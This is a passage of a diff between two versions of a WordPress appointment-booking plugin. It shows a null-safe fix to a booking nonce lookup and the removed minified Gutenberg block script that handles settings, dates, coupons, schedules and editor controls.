 	    // Later, StepPayment will replace the nonce with
 	    // "mpa_create_booking_{$bookingId}"
-	    this.bookingNonce = mpaData.nonces.mpa_create_booking;
+	    this.bookingNonce = (_mpaData$nonces$mpa_c = mpaData?.nonces?.mpa_create_booking) !== null && _mpaData$nonces$mpa_c !== void 0 ? _mpaData$nonces$mpa_c : ''; // Missing for blocks
 	  }
 
 	  /**

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/gutenberg-blocks.min.js /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/gutenberg-blocks.min.js
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/gutenberg-blocks.min.js	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/gutenberg-blocks.min.js	2026-06-30 15:16:08.000000000 +0000
@@ -1 +1 @@
-!function(){"use strict";!function(e,t,s,i,n){class a{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class o extends a{setupProperties(){super.setupProperties(),this.name=""}}class r extends a{setupProperties(){super.setupProperties(),this.name=""}}function l(e){return e.filter(((e,t,s)=>s.indexOf(e)===t))}function p(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function m(e,t){let s=Math.min(e.length,t.length),i={};for(let n=0;n<s;n++)i[e[n]]=t[n];return i}function c(e,t,s=1){let i=s||1,n=Math.abs(Math.floor((t-e)/i))+1;return[...Array(n).keys()].map((t=>t*s+e))}const h="undefined"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t="")=>e,d="undefined"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,s="")=>e;"undefined"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;class u extends a{setupProperties(){super.setupProperties(),this.name="",this.price=0,this.depositType="disabled",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking="",this.maxAdvanceTimeBeforeReservation="",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel="",this.variations={},this.image="",this.thumbnail=""}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let s=this.getVariation("price",e,this.price);return this.multiplyPrice&&(s*=t),s}getDuration(e=0){return this.getVariation("duration",e,this.duration)}getMinCapacity(e=0){return this.getVariation("min_capacity",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation("max_capacity",e,this.maxCapacity)}getVariation(e,t,s){return t in this.variations?this.variations[t][e]:s}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return""!==this.customQuantityLabel?this.getCustomQuantityLabel():h("Clients","motopress-appointment")}}class g{static loadInBackground(e,t,s=!1){return t.findById(e.id,s).then((t=>{if(null!==t)for(let s in t)e[s]=t[s];return t}))}}let y="/motopress/appointment/v1";function b(e,t={},s="GET"){return new Promise(((i,n)=>{wp.apiRequest({path:y+e,type:s,data:t}).done((e=>i(e))).fail(((e,t)=>{let s="parsererror";s=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,"parsererror"==s&&(s="REST request failed. Maybe PHP error on the server side. Check PHP logs."),n(new Error(s))}))}))}function _(e,t={}){return b(e,t,"GET")}function f(e,t){return b(e,t,"POST")}class v{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:"Appointment Booking",today:"2030-01-01",business_name:"",default_time_step:30,default_booking_status:"confirmed",confirmation_mode:"auto",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:"",currency:"EUR",currency_symbol:"&euro;",currency_position:"before",decimal_separator:".",thousand_separator:",",number_of_decimals:2,timezone:"UTC",date_format:"F j, Y",time_format:"H:i",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:"en",enable_payments:!1,active_gateways:[],reservation_received_page_url:"",failed_transaction_page_url:"",default_payment_gateway:""}}load(){return new Promise(((e,t)=>{_("/settings").then((e=>this.settings=e),(e=>console.error("Unable to load public settings.",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class w{constructor(){this.settingsCtrl=new v,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==w.instance&&(w.instance=new w),w.instance}}function C(){return w.getInstance()}const S={weekdays:{shorthand:[h("Sun","motopress-appointment"),h("Mon","motopress-appointment"),h("Tue","motopress-appointment"),h("Wed","motopress-appointment"),h("Thu","motopress-appointment"),h("Fri","motopress-appointment"),h("Sat","motopress-appointment")],longhand:[h("Sunday","motopress-appointment"),h("Monday","motopress-appointment"),h("Tuesday","motopress-appointment"),h("Wednesday","motopress-appointment"),h("Thursday","motopress-appointment"),h("Friday","motopress-appointment"),h("Saturday","motopress-appointment")]},months:{shorthand:[h("Jan","motopress-appointment"),h("Feb","motopress-appointment"),h("Mar","motopress-appointment"),h("Apr","motopress-appointment"),d("May","Month (short)","motopress-appointment"),h("Jun","motopress-appointment"),h("Jul","motopress-appointment"),h("Aug","motopress-appointment"),h("Sep","motopress-appointment"),h("Oct","motopress-appointment"),h("Nov","motopress-appointment"),h("Dec","motopress-appointment")],longhand:[h("January","motopress-appointment"),h("February","motopress-appointment"),h("March","motopress-appointment"),h("April","motopress-appointment"),d("May","Month","motopress-appointment"),h("June","motopress-appointment"),h("July","motopress-appointment"),h("August","motopress-appointment"),h("September","motopress-appointment"),h("October","motopress-appointment"),h("November","motopress-appointment"),h("December","motopress-appointment")]},amPM:["AM","PM"],firstDayOfWeek:C().settings().getFirstDayOfWeek()};function E(e,s="public"){if("string"==typeof e)return e;if("internal"==s)return E(e,"Y-m-d");if("public"==s)return t.format(C().settings().getDateFormat(),e);let i=(e,t=2)=>("00"+e).slice(-t),n=!1;return s.split("").map((t=>{if(n)return n=!1,t;switch(t){case"\\":return n=!0,"";case"j":return e.getDate();case"d":return i(e.getDate());case"D":return S.weekdays.shorthand[e.getDay()];case"l":return S.weekdays.longhand[e.getDay()];case"N":return e.getDay()||7;case"w":return e.getDay();case"z":let s=new Date(e.getFullYear(),0,1),a=s.getTimezoneOffset()-e.getTimezoneOffset(),o=e-s+60*a*1e3,r=864e5;return Math.floor(o/r);case"W":let l=new Date(Date.UTC(e.getFullYear(),e.getMonth(),e.getDate())),p=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-p);let m=new Date(Date.UTC(l.getUTCFullYear(),0,1)),c=864e5;return Math.ceil(((l-m)/c+1)/7);case"F":return S.months.longhand[e.getMonth()];case"M":return S.months.shorthand[e.getMonth()];case"m":return i(e.getMonth()+1);case"n":return e.getMonth()+1;case"t":return new Date(e.getFullYear(),e.getMonth()+1,0).getDate();case"Y":return e.getFullYear();case"y":return String(e.getFullYear()).substring(2);case"L":return e.getFullYear()%4==0?1:0;case"A":return S.amPM[e.getHours()>11?1:0];case"a":return S.amPM[e.getHours()>11?1:0].toLowerCase();case"H":return i(e.getHours());case"h":return i(e.getHours()%12||12);case"G":return e.getHours();case"g":return e.getHours()%12||12;case"i":return i(e.getMinutes());case"s":return i(e.getSeconds());case"v":return i(e.getMilliseconds(),3);case"u":return i(e.getMilliseconds(),3)+"000";case"O":case"P":let h=-e.getTimezoneOffset(),d=h>=0?"+":"-",u=Math.floor(Math.abs(h)/60),g=Math.abs(h)%60,y="O"==t?"":":";return d+i(u)+y+i(g);case"Z":return 60*e.getTimezoneOffset();case"U":return Math.floor(e.getTime()/1e3);case"c":return E(e,"Y-m-d\\TH:i:sP");case"r":return E(e,"D, d M Y H:i:s O");case"S":case"o":case"B":case"e":case"T":case"I":return"";default:return t}})).join("")}function k(e){let t=e.match(/(\d{4})-(\d{2})-(\d{2})/);if(null!=t){let e=parseInt(t[1]),s=parseInt(t[2]),i=parseInt(t[3]);return new Date(e,s-1,i)}return null}function P(){let e=new Date;return e.setHours(0,0,0,0),e}class I extends a{setupProperties(){super.setupProperties(),this.status="new",this.code="",this.description="",this.type="fixed",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of["expirationDate","minDate","maxDate"]){let s=e[t];null!=s&&""!==s&&(this[t]=k(s)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date<this.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let s=e.getPrice();switch(this.type){case"fixed":t=this.amount;break;case"percentage":t=s*this.amount/100}t=Math.min(t,s)}return t}}function T(e){return!!e}function $(e){let t=parseInt(e);return isNaN(t)?e<<0:t}class D{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf("mpa_")?t.substring(4):0===t.indexOf("_mpa_")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let s=this.mapRestDataToEntity(t);return this.saveEntity(e,s),s}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let s=[],i=[];for(let n of e)this.haveEntity(n)&&!t?i.push(this.getEntity(n)):s.push(n);return 0===s.length?Promise.resolve(i):this.requestEntities(s).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),i.push(e)}return i}),(e=>[]))}requestEntity(e){return _(this.getRoute(),{id:e})}requestEntities(e){return _(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`/${this.entityType}s`}}class x extends D{findByCode(e,t=!1){return _(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new I(e.id,e)}}function M(e,t="public"){return E(e,"internal"==t?"H:i":"public"==t?C().settings().getTimeFormat():t)}function A(e){let t=e.split(":"),s=parseInt(t[0]),i=parseInt(t[1]),n=P();return n.setHours(s,i),n}class B{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(" - ");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime="string"==typeof e?A(e):new Date(e)}setEndTime(e){this.endTime="string"==typeof e?A(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime<e.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime<=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime<e.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new B(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new B(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()<=0}toString(e="public",t=" - "){"internal"==e&&(t=" - ");let s="short"==e?"public":e,i=M(this.startTime,s),n=M(this.endTime,s);return"internal"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&i===n?h("All day","motopress-appointment"):"short"==e&&i==n?i:i+t+n}}class L extends a{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)"date"==t?this.setDate(e[t]):"serviceTime"==t?this.setServiceTime(e[t]):"bufferTime"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date="string"==typeof e?k(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime="string"==typeof e?new B(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime="string"==typeof e?new B(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class F extends D{mapRestDataToEntity(e){return new L(e.id,e)}}class R{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(" - ");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return"string"==typeof e?k(e)||P():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e/1e3/3600/24)}inPeriod(e){return"string"==typeof e&&(e=k(e)),null!=e&&e>=this.startDate&&e<=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t<=this.endDate;t.setDate(t.getDate()+1)){let s=E(t,"internal"),i=new Date(t);e[s]=i}return e}toString(){return E(this.startDate,"internal")+" - "+E(this.endDate,"internal")}}class O extends a{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)"timetable"==t?this.setTimetable(e[t]):"customWorkdays"==t?this.setCustomWorkdays(e[t]):"daysOff"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],s=[];e.forEach((e=>{let i=new B(e.time_period);t.push({time_period:i,location:e.location,activity:e.activity}),"work"==e.activity&&s.push({time_period:i,location:e.location})})),this.timetable.push(t),this.workTimetable.push(s)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new R(t.date_period),time_period:new B(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new R(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return"string"!=typeof e&&(e=E(e,"internal")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if("string"==typeof e&&(e=k(e)),null==e)return[];let s=[],i=e.getDay();for(let e of this.workTimetable[i])0!=t&&e.location!=t||s.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&s.push(t.time_period);return s}}class N extends D{mapRestDataToEntity(e){return new O(e.id,e)}}class H extends D{mapRestDataToEntity(e){return new u(e.id,e)}}class V{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new N("mpa_schedule")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new H("mpa_service")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new F("mpa_reservation")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new x("mpa_coupon")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==V.instance&&(V.instance=new V),V.instance}}function z(){return V.getInstance()}let q=null;function U(e,t){const s=[];for(const i of e){const e=t.includes(i.slug),n=Array.isArray(i.children)?i.children:[],a=n.length?U(n,t):[];(e||a.length>0)&&s.push({...i,children:a})}return s}function j(e){let t=[];for(const s of e)s.slug&&t.push(s.slug),Array.isArray(s.children)&&(t=t.concat(j(s.children)));return t}function W(e,t=[],s=null,i=0){const n=[],a=new Map(t.map(((e,t)=>[e,t]))),o=[...e].sort(((e,t)=>{var s,i;return(null!==(s=a.get(e.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)-(null!==(i=a.get(t.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)}));for(const e of o)Array.isArray(s)&&!s.includes(e.slug)||(n.push({id:e.slug,name:"&nbsp;&nbsp;".repeat(i)+e.name}),Array.isArray(e.children)&&n.push(...W(e.children,t,s,i+1)));return n}function G(e){return T(e)}let Y={};function Q(e,t=!1){return"object"==typeof e?0==function(e,t=!1){return"object"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function K(e="",t=!1){let s=function(e,t){return t<(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join("0")+e:e};Y.uniqid_seed||(Y.uniqid_seed=Math.floor(123456789*Math.random())),Y.uniqid_seed++;let i=e;return i+=s(parseInt((new Date).getTime()/1e3,10),8),i+=s(Y.uniqid_seed,5),t&&(i+=(10*Math.random()).toFixed(8).toString()),i}class Z{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==q)&&(q=_("/services/available").catch((e=>(console.error("Unable to extract available services."),{})))),q}(e).then((e=>{const{services:t,services_order:s,categories_order:i,employees_order:n,locations_order:a,categories_tree:o}=e;return this.setServiceIndexes(s||[]),this.setCategoryIndexes(i||[]),this.setEmployeeIndexes(n||[]),this.setLocationIndexes(a||[]),this.setServiceCategoriesTree(o||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let s=e[t];this.services[t]=s.name;for(let e in s.categories){let t=s.categories[e];this.serviceCategories[e]=t}for(let e in s.employees){let t=s.employees[e];this.employees[e]=t.name;for(let e in t.locations){let s=t.locations[e];this.locations[e]=s}}}}isEmpty(){return Q(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,s=null){let i=new u(e);return this.services.hasOwnProperty(e)&&i.setName(this.services[e]),!0===t?(this.servicePromise=g.loadInBackground(i,z().service()),null!==s&&this.servicePromise.then(s),this.servicePromise.then((()=>i))):this.servicePromise=null,i}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new o(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new r(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e="",t=0,s=0){let i={};for(let n in this.availability){let a=this.availability[n];if(""===e||e in a.categories){if(0!==t){let e=!1;if(Object.keys(a.employees).forEach((s=>{a.employees[s].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===s||s in a.employees)&&(i[n]=a.name)}}return i}getAvailableServiceCategories(){let e={};for(let t in this.availability){let s=this.availability[t];jQuery.extend(e,s.categories)}return e}getAvailableEmployees(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let n=this.availability[i];for(let e in n.employees){let i=n.employees[e];(0===t||t in i.locations)&&(s[e]=i.name)}}return s}getAvailableLocations(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let n=this.availability[i];for(let e in n.employees){if(0!=t&&e!=t)continue;let i=n.employees[e];jQuery.extend(s,i.locations)}}return s}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,s="ids"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(G):0!==t&&i.push(t);let n=[];for(let t in this.availability[e].employees){t=$(t);let s=this.availability[e].employees[t];if(0===i.length)n.push(t);else{p(i,Object.keys(s.locations).map($)).length>0&&n.push(t)}}return 0===n.length?[]:"entities"===s?n.map((e=>this.getEmployee(e))):n}filterAvailableLocations(e,t=0,s="ids"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(G):0!==t&&i.push(t);let n=[];for(t in this.availability[e].employees){if(t=$(t),i.length>0&&-1===i.indexOf(t))continue;let s=this.availability[e].employees[t];for(let e in s.locations)n.push($(e))}return n=l(n),0===n.length?[]:"entities"===s?n.map((e=>this.getLocation(e))):n}}const{Component:J,Fragment:X}=wp.element,{SelectControl:ee,PanelBody:te,TextControl:se,Tooltip:ie,ToggleControl:ne,RangeControl:ae}=wp.components,{InspectorControls:oe,PanelColorSettings:re}=wp.blockEditor||wp.editor;let le=class extends J{constructor(){super(),this.availability=new Z,this.availability.ready().finally((()=>{this.availability.getAvailableServiceCategories(),this.availability.getAvailableServices(),this.availability.getAvailableEmployees(),this.availability.getAvailableLocations()}))}getSelectOptions(e,t,s){let i=[{value:t,label:s}];for(const t in e){let s={};s.value=t,s.label=e[t],i.push(s)}return i}render(){const{form_title:e,show_category:t,show_service:i,show_location:n,show_employee:a,label_category:o,label_service:r,label_location:l,label_employee:p,label_unselected:m,label_option:c,default_category:h,default_service:d,default_location:u,default_employee:g,timepicker_columns:y,show_timepicker_end_time:b,show_add_to_calendar:_,primary_color:f,primary_bg_color:v,secondary_color:w,secondary_bg_color:C,buttons_padding:S,form_width:E}=this.props.attributes,{setAttributes:k}=this.props,P=$(d),I=$(g),T=$(u),D=this.availability.isAvailableServiceCategory(h)?h:"",x=this.availability.isAvailableService(P)?P:0,M=this.availability.isAvailableLocation(T)?T:0,A=this.availability.isAvailableEmployee(I)?I:0,B=this.availability.getAvailableServiceCategories(),L=this.availability.getAvailableServices(D,M,A),F=this.availability.getAvailableLocations(x,A),R=this.availability.getAvailableEmployees(x,M),O=this.getSelectOptions(B,"",s.__("— Any —","motopress-appointment")),N=this.getSelectOptions(L,0,s.__("— Unselected —","motopress-appointment")),H=this.getSelectOptions(F,0,s.__("— Any —","motopress-appointment")),V=this.getSelectOptions(R,0,s.__("— Any —","motopress-appointment")),z=wp.element.createElement(ne,{label:s.__("Show Category?","motopress-appointment"),help:s.__("Show the service category field in the form.","motopress-appointment"),checked:!1!==i&&t,disabled:!1===i,onChange:e=>{k({show_category:e})}}),q=!1===i?wp.element.createElement(ie,{text:s.sprintf(s.__("To enable this option, you need to check the '%s' box.","motopress-appointment"),s.__("Show Service?","motopress-appointment"))},wp.element.createElement("div",{style:{display:"inline-block"}},z)):z,U=wp.element.createElement(ne,{label:s.__("Show Service?","motopress-appointment"),help:s.__("Show the service field in the form.","motopress-appointment"),checked:0===x||i,disabled:0===x,onChange:e=>{k({show_service:e})}}),j=0===x?wp.element.createElement(ie,{text:s.__("To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.","motopress-appointment")},wp.element.createElement("div",{style:{display:"inline-block"}},U)):U;return wp.element.createElement(React.Fragment,null,wp.element.createElement(oe,null,wp.element.createElement(te,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(se,{label:s.__("Form Title","motopress-appointment"),value:e,onChange:e=>{k({form_title:e})}}),wp.element.createElement(ee,{label:s.__("Service","motopress-appointment"),help:s.__("ID of the selected service.","motopress-appointment"),value:x,onChange:e=>k({default_service:e}),options:N}),q,j,wp.element.createElement(ne,{label:s.__("Show Location?","motopress-appointment"),help:s.__("Show the location field in the form.","motopress-appointment"),checked:n,onChange:e=>{k({show_location:e})}}),wp.element.createElement(ne,{label:s.__("Show Employee?","motopress-appointment"),help:s.__("Show the employee field in the form.","motopress-appointment"),checked:a,onChange:e=>{k({show_employee:e})}}),wp.element.createElement(ne,{label:s.__("Show 'Add to Your Calendar?' section.","motopress-appointment"),help:s.__("Allow customers to add an appointment to their own Google, Apple, Outlook, or Yahoo calendar.","motopress-appointment"),checked:_,onChange:e=>{k({show_add_to_calendar:e})}}),wp.element.createElement(se,{label:s.__("Category Field Label","motopress-appointment"),help:s.__("Custom label for the service category field.","motopress-appointment"),placeholder:s.__("Service Category","motopress-appointment"),value:o,onChange:e=>{k({label_category:e})}}),wp.element.createElement(se,{label:s.__("Service Field Label","motopress-appointment"),help:s.__("Custom label for the service field.","motopress-appointment"),placeholder:s.__("Service","motopress-appointment"),value:r,onChange:e=>{k({label_service:e})}}),wp.element.createElement(se,{label:s.__("Location Field Label","motopress-appointment"),help:s.__("Custom label for the location field.","motopress-appointment"),placeholder:s.__("Location","motopress-appointment"),value:l,onChange:e=>{k({label_location:e})}}),wp.element.createElement(se,{label:s.__("Employee Field Label","motopress-appointment"),help:s.__("Custom label for the employee field.","motopress-appointment"),placeholder:s.__("Employee","motopress-appointment"),value:p,onChange:e=>{k({label_employee:e})}}),wp.element.createElement(se,{label:s.__("Unselected Service","motopress-appointment"),help:s.__("Custom label for the unselected service field.","motopress-appointment"),placeholder:s.__("— Select —","motopress-appointment"),value:m,onChange:e=>{k({label_unselected:e})}}),wp.element.createElement(se,{label:s.__("Unselected Option","motopress-appointment"),help:s.__("Custom label for the unselected service category, location and employee fields.","motopress-appointment"),placeholder:s.__("— Any —","motopress-appointment"),value:c,onChange:e=>{k({label_option:e})}}),wp.element.createElement(ee,{label:s.__("Service Category","motopress-appointment"),help:s.__("Slug of the selected service category.","motopress-appointment"),value:D,onChange:e=>k({default_category:e}),options:O}),wp.element.createElement(ee,{label:s.__("Location","motopress-appointment"),help:s.__("ID of the selected location.","motopress-appointment"),value:M,onChange:e=>k({default_location:e}),options:H}),wp.element.createElement(ee,{label:s.__("Employee","motopress-appointment"),help:s.__("ID of the selected employee.","motopress-appointment"),value:A,onChange:e=>k({default_employee:e}),options:V}),wp.element.createElement(ae,{label:s.__("Timepicker Columns Count","motopress-appointment"),help:s.__("The number of columns in the timepicker.","motopress-appointment"),value:y,onChange:e=>k({timepicker_columns:e}),min:1,max:5}),wp.element.createElement(ne,{label:s.__("Show End Time?","motopress-appointment"),help:s.__("Show the time when the appointment ends.","motopress-appointment"),checked:b,onChange:e=>{k({show_timepicker_end_time:e})}}))),wp.element.createElement(oe,{group:"styles"},wp.element.createElement(te,null,wp.element.createElement("span",null,s.__("These options only affect what you see on the front end.","motopress-appointment"))),wp.element.createElement(re,{__experimentalIsRenderedInSidebar:!0,title:s.__("Colors","motopress-appointment"),colorSettings:[{value:f,onChange:e=>{k({primary_color:e})},label:s.__("Primary Text Color","motopress-appointment")},{value:v,onChange:e=>{k({primary_bg_color:e})},label:s.__("Primary Background Color","motopress-appointment")},{value:w,onChange:e=>{k({secondary_color:e})},label:s.__("Secondary Text Color","motopress-appointment")},{value:C,onChange:e=>{k({secondary_bg_color:e})},label:s.__("Secondary Background Color","motopress-appointment")}]}),wp.element.createElement(te,null,wp.element.createElement(se,{label:s.__("Form Width","motopress-appointment"),help:s.__("Example: 